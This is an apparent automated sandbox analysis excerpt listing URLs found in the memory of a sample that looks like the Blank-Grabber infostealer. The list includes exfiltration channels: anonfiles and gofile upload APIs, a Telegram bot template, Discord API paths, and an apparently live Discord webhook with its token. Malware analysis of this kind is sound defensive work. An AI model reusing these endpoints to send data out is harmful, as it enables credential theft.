00000000.00000003.1698681168.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1697979195.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr, _ctypes.pyd.0.dr, _hashlib.pyd.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: cmd.exe, 00000001.00000002.2096563852.000001C916813000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: powershell.exe, 0000002A.00000002.1920794731.00000216A4D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: cmd.exe, 00000001.00000002.2098403824.000001C916CB7000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1794009198.000001C916CB6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2100068134.000001C917A04000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1936188709.000001C916CB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://MD8.mozilla.org/1/m
Source: cmd.exe, 00000001.00000003.1935481751.000001C9168CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: cmd.exe, 00000001.00000002.2100068134.000001C917A74000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: powershell.exe, 0000000A.00000002.1861065562.0000022BDC9C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1859004442.000002168CAC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.anonfiles.com/upload
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.anonfiles.com/uploadrU
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServer
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServerr;
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServerr;r
Source: cmd.exe, 00000001.00000003.1936488161.000001C916CF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.stripe.com/v
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot%s/%s
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot%s/%s)
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot%s/%sp
Source: cmd.exe, 00000001.00000002.2100068134.000001C917A04000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: cmd.exe, 00000001.00000003.1935481751.000001C9168CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: cmd.exe, 00000001.00000003.1935481751.000001C9168CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: cmd.exe, 00000001.00000003.1935481751.000001C9168CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 0000002A.00000002.1908083358.000002169CB3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000002A.00000002.1908083358.000002169CB3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000002A.00000002.1908083358.000002169CB3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: cmd.exe, rar.exe.0.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: cmd.exe, rar.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: cmd.exe, rar.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0.
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: cmd.exe, 00000001.00000002.2098654232.000001C916D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1309732604697772032/jYDmGek7yWvABusaZDozvumeMuAZjheHcNL9cOnpMCpam2e
Source: cmd.exe, 00000001.00000002.2098529870.000001C916CF7000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1936488161.000001C916CF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v9/users/
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1705592637.000001C914409000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915C70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915CFC000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1705592637.000001C914409000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1705592637.000001C914409000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915C70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915CFC000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1705592637.000001C914409000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915CFC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915CFC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915C70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915CFC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095198142.000001C9143C0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1705592637.000001C914409000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data
Source: cmd.exe, 00000001.00000003.1935481751.000001C9168CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: cmd.exe, 00000001.00000003.1935481751.000001C9168CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: cmd.exe, 00000001.00000003.1935481751.000001C9168CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: cmd.exe, 00000001.00000002.2098654232.000001C916D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3539
Source: svchost.exe, 0000001C.00000003.1775846241.00000240CA8C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.28.dr, edb.log.28.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.28.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.28.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.28.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 0000001C.00000003.1775846241.00000240CA8C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.28.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-Grabber
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-Grabberi
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-GrabberrU
Source: cmd.exe, 00000001.00000003.1711260677.000001C916970000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1712399231.000001C916970000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1711786207.000001C916970000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1711452846.000001C916D3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/BlankOBF
Source: powershell.exe, 0000002A.00000002.1859004442.000002168E3A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095198142.000001C9143C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915CFC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: cmd.exe, 00000001.00000002.2095198142.000001C9143C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095198142.000001C9143C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095198142.000001C9143C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: cmd.exe, 00000001.00000002.2098654232.000001C916D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963
Source: cmd.exe, 00000001.00000002.2097860677.000001C9169B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
Source: cmd.exe, 00000001.00000002.2098765612.000001C916E50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920
Source: cmd.exe, 00000001.00000002.2098872517.000001C916F80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/3290
Source: powershell.exe, 0000002A.00000002.1859004442.000002168D998000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: cmd.exe, 00000001.00000002.2097860677.000001C916A25000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2096563852.000001C916829000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2092429001.000001C916827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: cmd.exe, 00000001.00000002.2097860677.000001C916A25000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2096563852.000001C916829000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2092429001.000001C916827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail
Source: cmd.exe, 00000001.00000002.2095198142.000001C9143C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail/
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gstatic.com/generate_204
Source: cmd.exe, 00000001.00000002.2097860677.000001C9169B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/
Source: cmd.exe, 00000001.00000002.2097860677.000001C916A25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/
Source: cmd.exe, 00000001.00000002.2096563852.000001C916730000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json.org
Source: cmd.exe, 00000001.00000002.2100068134.000001C917A5C000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179C8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C79000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2100068134.000001C917A58000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: powershell.exe, 0000000A.00000002.1921700261.0000022BECA36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1908083358.000002169CC80000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1859004442.000002168E42F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1908083358.000002169CB3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 0000001C.00000003.1775846241.00000240CA8C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.28.dr, edb.log.28.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.28.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: powershell.exe, 0000002A.00000002.1859004442.000002168E115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 0000002A.00000002.1859004442.000002168E115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: cmd.exe, 00000001.00000002.2098872517.000001C916F80000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2098765612.000001C916E50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/specifications/entry-points/
Source: cmd.exe, 00000001.00000002.2103718969.00007FFDFB784000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://python.org/dev/peps/pep-0263/
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.pngz
Source: cmd.exe, rar.exe.0.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: cmd.exe, 00000001.00000003.1772966078.000001C91692E000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1788462213.000001C91692E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: cmd.exe, 00000001.00000003.1758937487.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1788462213.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1758937487.000001C91688E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: cmd.exe, 00000001.00000003.1758937487.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: cmd.exe, 00000001.00000003.1788462213.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: cmd.exe, 00000001.00000002.2096102942.000001C916430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc2388#section-4.4
Source: cmd.exe, 00000001.00000002.2096102942.000001C9164F1000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2097860677.000001C916A25000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: cmd.exe, 00000001.00000002.2098765612.000001C916E50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy
Source: cmd.exe, 00000001.00000002.2098872517.000001C916F80000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2098654232.000001C916D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
Source: cmd.exe, 00000001.00000002.2098654232.000001C916D30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsC
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2100068134.000001C9179C8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2100068134.000001C917A04000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: cmd.exe, 00000001.00000002.2098986140.000001C917160000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: cmd.exe, 00000001.00000002.2098986140.000001C917160000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: cmd.exe, 00000001.00000002.2098986140.000001C917160000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: cmd.exe, 00000001.00000002.2098986140.000001C917160000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: cmd.exe, 00000001.00000002.2098986140.000001C917160000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: cmd.exe, 00000001.00000002.2098986140.000001C917160000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: cmd.exe, 00000000.00000003.1700295776.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000000.00000003.1700295776.00000162C435C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: cmd.exe, 00000001.00000003.1935481751.000001C9168CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2100068134.000001C9179C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: cmd.exe, 00000001.00000003.1935481751.000001C9168CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: cmd.exe, 00000001.00000003.1772966078.000001C91692E000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1788462213.000001C91692E000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1785608617.000001C916B44000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2098986140.000001C9170A0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2098765612.000001C916E50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: cmd.exe, 00000001.00000003.1758937487.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1758937487.000001C91688E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: cmd.exe, 00000001.00000003.1788462213.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: cmd.exe, 00000001.00000003.1758937487.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1758937487.000001C91688E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: cmd.exe, 00000001.00000003.1788462213.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: cmd.exe, 00000001.00000003.1758937487.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: cmd.exe, 00000001.00000003.1788462213.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: cmd.exe, 00000001.00000002.2098986140.000001C917160000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_c
Source: cmd.exe, 00000001.00000003.1758937487.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1788462213.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: cmd.exe, 00000001.00000002.2096563852.000001C916829000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2092429001.000001C916827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/favicons/mozilla/favicon.d25d81d39065.icox
Source: cmd.exe, 00000001.00000003.1788462213.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: cmd.exe, 00000001.00000002.2100068134.000001C917A74000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2100068134.000001C9179C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: cmd.exe, 00000000.00000003.1700392163.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2103626383.00007FFDFB414000.00000004.00000001.01000000.0000000F.sdmp, cmd.exe, 00000001.00000002.2102504128.00007FFDFB0B3000.00000004.00000001.01000000.00000010.sdmp, libssl-1_1.dll.0.dr, libcrypto-1_1.dll.0.dr	String found in binary or memory: https://www.openssl.org/H
Source: cmd.exe, 00000000.00000003.1699462704.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1710533213.000001C9164F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1711375061.000001C9164F6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1707179329.000001C9164F3000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1710834242.000001C9164F6000.00000004.00000020.00020000.00000000.sdmp, base_library.zip.0.dr	String found in binary or memory: https://www.python.org/dev/peps/pep-0205/
Source: cmd.exe, 00000001.00000002.2095490915.000001C915C70000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.dr	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: cmd.exe, 00000001.00000002.2097860677.000001C916A25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rfc-editor.org/rfc/rfc8259#section-8.1
Source: cmd.exe, 00000001.00000002.2098986140.000001C917160000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
